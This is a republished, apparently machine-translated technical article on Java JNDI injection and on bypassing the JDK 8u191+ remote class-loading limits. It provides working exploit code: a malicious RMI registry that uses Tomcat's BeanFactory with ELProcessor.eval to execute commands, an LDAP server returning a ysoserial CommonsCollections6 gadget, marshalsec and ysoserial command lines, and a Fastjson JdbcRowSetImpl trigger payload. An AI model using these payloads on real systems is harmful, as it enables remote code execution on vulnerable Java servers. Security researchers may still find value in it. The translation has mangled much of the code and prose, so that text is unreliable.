Shulou(Shulou.com)06/01 Report--

This article mainly introduces "how to bypass the restrictions of the high version of JDK for JNDI injection". In the daily operation, I believe many people have doubts about how to bypass the restrictions of the high version of JDK for JNDI injection. The editor consulted all kinds of data and sorted out simple and easy-to-use methods of operation. I hope it will be helpful to answer the doubts of "how to bypass the restrictions of the high version of JDK". Next, please follow the editor to study!

Write at the front

There are many different utilization loads for Java JNDI injection, and these Payload will face some limitations. In the actual testing process, the author has also encountered a lot of limited situations, here to sort out and share how to bypass these restrictions.

1. RMI Remote Object Payload (with too many restrictions, not often used)

The attacker implements a malicious RMI remote object and binds it to RMI Registry. The compiled RMI remote object class can be placed on a server such as HTTP/FTP/SMB. The Codebase address is set by the java.rmi.server.codebase property of the remote server for the victim's RMI client to load remotely. In the process of lookup (), the RMI client will first try to obtain the definition of the corresponding Stub class in the local CLASSPATH and load it locally. However, if it cannot be found locally, the RMI client will go to the remote Codebase to obtain the malicious object specified by the attacker, which will be restricted by useCodebaseOnly. The utilization conditions are as follows:

The context of the RMI client allows access to the remote Codebase.

The value of the property java.rmi.server.useCodebaseOnly must be false.

However, starting with JDK 6u45 and 7u21, the default value of java.rmi.server.useCodebaseOnly is true. When the value is true, automatic loading of remote class files is disabled and only class files are loaded from the java.rmi.server.codebase specified path of CLASSPATH and the current VM. Use this property to prevent the client VM from dynamically loading classes from other Codebase addresses, increasing the security of the RMI ClassLoader. Changelog:

JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html

JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

2. RMI + JNDI Reference Payload

The attacker returns a JNDI Naming Reference through the RMI service. When decoding the Reference, the victim will load the Factory class at the Codebase remote address we specified, but in principle, it does not use the RMI Class Loading mechanism, so it is not limited by the java.rmi.server.useCodebaseOnly system properties, and is relatively more general. However, in JDK 6u132, JDK 7u122, and JDK 8u113, Java promotes JNDI to restrict the ability of JNDI Reference to remotely load Object Factory classes in Naming/Directory services. The default values of the system properties com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase are changed to false, which means that loading Reference factory classes from remote Codebase is not allowed by default. If you need to turn on the remote class loading function of RMI Registry or COS Naming Service Provider, you need to set the values of the two properties mentioned above to true. Changelog:

JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141

JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html

JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html

3. LDAP + JNDI Reference Payload

In addition to RMI services, JNDI can also interface with LDAP services, and LDAP can also return JNDI Reference objects. The utilization process is basically the same as the above RMI Reference, except that the URL in lookup () is a LDAP address: ldap://xxx/xxx, and the LDAP server controlled by the attacker returns a malicious JNDI Reference object. And the Reference remotely loading Factory class of LDAP service is not limited by the com.sun.jndi.rmi.object.trustURLCodebase, com.sun.jndi.cosnaming.object.trustURLCodebase and other properties in the previous point, so it can be applied more widely. However, in October 2018, Java finally fixed this exploit point, adding restrictions on the loading of LDAP Reference remote factory classes. After Oracle JDK 11.0.1, 8u191, 7u201, and 6u211, the default value of the com.sun.jndi.ldap.object.trustURLCodebase attribute was adjusted to false, and a corresponding vulnerability number CVE-2018-3149 was assigned.

4. Bypass higher version restrictions such as JDK 8u191+

So for Oracle JDK 11.0.1, 8u191, 7u201, 6u211 or later JDK, these previous uses have been invalidated by default. However, we can still bypass and make use of it. The two bypass methods are as follows:

Find a class in the victim's local CLASSPATH as a malicious Reference Factory factory class and use this local Factory class to execute the command.

Using LDAP to return a malicious serialized object directly, JNDI injection will still deserialize the object and use deserialization Gadget to complete the command execution.

Both methods are very dependent on the environment of the victim's local CLASSPATH and need to use the victim's local Gadget to attack.

Bypassing the limitation of higher version JDK: using local Class as Reference Factory

Although malicious Factory cannot be loaded remotely in higher versions (such as JDK8u191 and above), we can still specify Factory Class in the returned Reference, which must be in the local CLASSPATH of the victim target. The factory class must implement the javax.naming.spi.ObjectFactory interface and at least one getObjectInstance () method exists. Org.apache.naming.factory.BeanFactory just meets the conditions and has the possibility of being exploited. Org.apache.naming.factory.BeanFactory exists in the Tomcat dependency package, so it is also widely used. In getObjectInstance (), org.apache.naming.factory.BeanFactory instantiates any Bean Class that Reference points to by reflection, and calls the setter method to assign values to all properties. The class name, attribute and attribute value of the Bean Class all come from the Reference object and can be controlled by the attacker.

Tips: according to the code logic of beanFactory, the Reference passed in is required to be a ResourceRef class

In this case, the target Bean Class must have a no-argument constructor, a setter method of public, and an argument of type String. In fact, these setter don't have to be set... At the beginning of the method, according to the logic in org.apache.naming.factory.BeanFactory, we can force a method to be specified as setter. Here, we found that javax.el.ELProcessor can be used as the target Class. The utilization code for starting RMI Server is as follows:

Registry registry = LocateRegistry.createRegistry (rmi_port); / / instantiate Reference, specifying that the target class is javax.el.ELProcessor and the factory class is org.apache.naming.factory.BeanFactoryResourceRef ref = new ResourceRef ("javax.el.ELProcessor", null, ", true," org.apache.naming.factory.BeanFactory ", null) / / forcibly change the setter of the'x 'attribute from' setX' to 'eval', see BeanFactory.getObjectInstance code ref.add (new StringRefAddr ("forceString", "KINGX=eval") for more logic / / use expression to execute the command ref.add (new StringRefAddr ("KINGX", "\"\ ".getClass (). ForName (\" javax.script.ScriptEngineManager\ "). NewInstance (). GetEngineByName (\" JavaScript\ "). Eval (\" new java.lang.ProcessBuilder' (java.lang.String []) '.start ()\ ")); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind (" Exploit ", referenceWrapper)

"forceString" can force a setter method to be assigned to a property, so here we set the setter method of the property "KINGX" to the ELProcessor.eval () method.

So we add the element "KINGX" to the ResourceRef and assign it to malicious code that needs to be executed. Finally, calling setter becomes the execution of the following code:

ELProcessor.eval (\ "\" .getClass (). ForName ("javax.script.ScriptEngineManager\"). NewInstance (). GetEngineByName (\ "JavaScript\"). Eval (\ "new java.lang.ProcessBuilder' (java.lang.String []) '.start ()\")

ELProcessor.eval () evaluates the EL expression, resulting in the execution of the command. This bypass method requires the existence of Tomcat-related dependencies in the target environment. Of course, other Java Server may also have Factory classes that can be utilized, which can be further studied.

Bypass the limitation of higher version JDK: use LDAP to return serialized data and trigger local Gadget

Directory is a kind of distributed database, and directory service is a system composed of directory database and a set of access protocols. The full name of LDAP is lightweight Directory access Protocol (The Lightweight Directory Access Protocol), which provides a mechanism for querying, browsing, searching and modifying Internet directory data. It runs on the TCP/IP stack and is based on the Cmax S architecture. In addition to RMI services, JNDI can also interact with LDAP directory services, and Java objects can be stored in the LDAP directory in a variety of ways:

Java serialization

JNDI Reference

Marshalled object

Remote Location (deprecated)

LDAP can specify a variety of properties for stored Java objects:

JavaCodeBase

ObjectClass

JavaFactory

JavaSerializedData

...

Here the javaCodebase attribute can specify a remote URL so that hackers can control the class in deserialization and utilize it through JNDI Reference (without further discussion here, the sample code can refer to the Demo link at the end of the article). However, as mentioned earlier, the higher version of JVM imposes security restrictions on Reference Factory remotely loaded classes, and JVM does not trust remote classes loaded during LDAP object deserialization. At this point, attackers can still use the vulnerable deserialization Gadget in the victim's local CLASSPATH to bypass restrictions on command execution. In short, LDAP Server supports returning serialized data from an object directly, in addition to using JNDI Reference for utilization. If the value of the javaSerializedData property of the Java object is not empty, the client's obj.decodeObject () method deserializes the contents of this field. The specific processing code is as follows:

If ((attr = attrs.get (JAVA_ transactions [serialized _ DATA]))! = null) {ClassLoader cl = helper.getURLClassLoader (codebases); return deserializeObject ((byte []) attr.get (), cl);}

Let's assume that there is a vulnerable CommonsCollections library in the target system, and use ysoserial to generate a CommonsCollections utilization Payload:

Java-jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6'/ Applications/Calculator.app/Contents/MacOS/Calculator' | base64

The key code for LDAP Server is as follows. We enter the deserialized payload data just generated in the javaSerializedData field:

Protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL (this.codebase, this.codebase.getRef (). Replace ('.','/'). Concat (".class"); System.out.println ("Send LDAP reference result for" + base + "redirecting to" + turl); e.addAttribute ("javaClassName", "foo"); String cbstring = this.codebase.toString (); int refPos = cbstring.indexOf ('#') If (refPos > 0) {cbstring = cbstring.substring (0, refPos);} / Payload1: Return Evil Reference Factory / e.addAttribute ("javaCodeBase", cbstring); / / e.addAttribute ("objectClass", "javaNamingReference"); / / e.addAttribute ("javaFactory", this.codebase.getRef ()) / Payload2: Return Evil Serialized Gadget / try {/ / java-jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6'/ Applications/Calculator.app/Contents/MacOS/Calculator' | base64 e.addAttribute ("javaSerializedData", Base64.decode ("rO0ABXNyABFqYXZhLn."));} catch (ParseException E1) {e1.printStackTrace ();} result.sendSearchEntry (e); result.setResult (new LDAPResult (0, ResultCode.SUCCESS));}.

Simulate the victim to perform JNDI lookup operations, or use vulnerabilities such as Fastjson to simulate the trigger, you can see the bullet calculator commands are executed.

Hashtable env = new Hashtable ()

Context ctx = new InitialContext (env)

Object local_obj = ctx.lookup ("ldap://127.0.0.1:1389/Exploit")

String payload = "{\" @ type\ ":\" com.sun.rowset.JdbcRowSetImpl\ ",\" dataSourceName\ ":\" ldap://127.0.0.1:1389/Exploit\ ",\" autoCommit\ ":\" true\ "}"

JSON.parse (payload)

This bypass requires the use of a local deserialization exploit chain (such as CommonsCollections), which can then be combined with vulnerability entry points such as Fastjson and JdbcRowSetImpl.

End

In actual combat, you can use marshalsec to easily launch a LDAP/RMI Ref Server:

Java-cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi. (LDAP | RMI) RefServer # [] Example:java-cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.8.8.8:8090/#Exploit 8088 this is the end of the study on "how to bypass the restrictions of the higher version of JNDI for JNDI injection". I hope to solve your doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.